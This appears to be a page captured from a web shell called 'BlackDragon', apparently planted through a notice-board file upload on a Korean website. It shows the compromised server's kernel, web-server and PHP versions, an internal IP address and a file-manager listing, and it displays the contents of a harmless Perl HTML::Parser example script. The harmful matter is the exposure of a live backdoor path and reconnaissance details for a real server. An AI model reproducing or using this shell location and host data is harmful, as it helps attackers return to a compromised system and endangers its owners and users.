walking.or.kr:80

Linux gcloud-seoul-ac4c28f9ef4b3e1b6ecaa706e0113ee7 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
10.25.199.2

File Name : hanchors

#!/usr/bin/perl -w

# This program will print out all <a href=".."> links in a
# document together with the text that goes with it.
#
# See also HTML::LinkExtor

use HTML::Parser;

my $p = HTML::Parser->new(api_version => 3,
     start_h => [\&a_start_handler, "self,tagname,attr"],
     report_tags => [qw(a img)],
    );
$p->parse_file(shift || die) || die $!;

sub a_start_handler
{
    my($self, $tag, $attr) = @_;
    return unless $tag eq "a";
    return unless exists $attr->{href};
    print "A $attr->{href}\n";

$self->handler(text  => [], '@{dtext}' );
    $self->handler(start => \&img_handler);
    $self->handler(end   => \&a_end_handler, "self,tagname");
}

sub img_handler
{
    my($self, $tag, $attr) = @_;
    return unless $tag eq "img";
    push(@{$self->handler("text")}, $attr->{alt} || "[IMG]");
}

sub a_end_handler
{
    my($self, $tag) = @_;
    my $text = join("", @{$self->handler("text")});
    $text =~ s/^\s+//;
    $text =~ s/\s+$//;
    $text =~ s/\s+/ /g;
    print "T $text\n";

$self->handler("text", undef);
    $self->handler("start", \&a_start_handler);
    $self->handler("end", undef);
}

System Information
*ReClick For Close
File : BlackDragon /bbs/upfile/notice/202307230555476_1.php

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	root/root	0755	2018-07-25 03:11:42
..	dir	-	root/root	0755	2018-07-25 03:11:42
hanchors	text/x-perl	1.11 KB	root/root	0644	2013-03-25 10:32:22
hdump	text/x-perl	541 B	root/root	0644	2013-03-25 10:32:23
hform	text/x-perl	1.8 KB	root/root	0644	2013-03-25 10:32:23
hlc	text/x-perl	547 B	root/root	0644	2013-03-25 10:32:23
hrefsub	text/x-perl	2.72 KB	root/root	0644	2013-03-25 10:32:23
hstrip	text/x-perl	1.67 KB	root/root	0644	2013-03-25 10:32:23
htext	text/x-perl	548 B	root/root	0644	2013-03-25 10:32:23
htextsub	text/x-perl	788 B	root/root	0644	2013-03-25 10:32:23
htitle	text/x-perl	434 B	root/root	0644	2013-03-25 10:32:23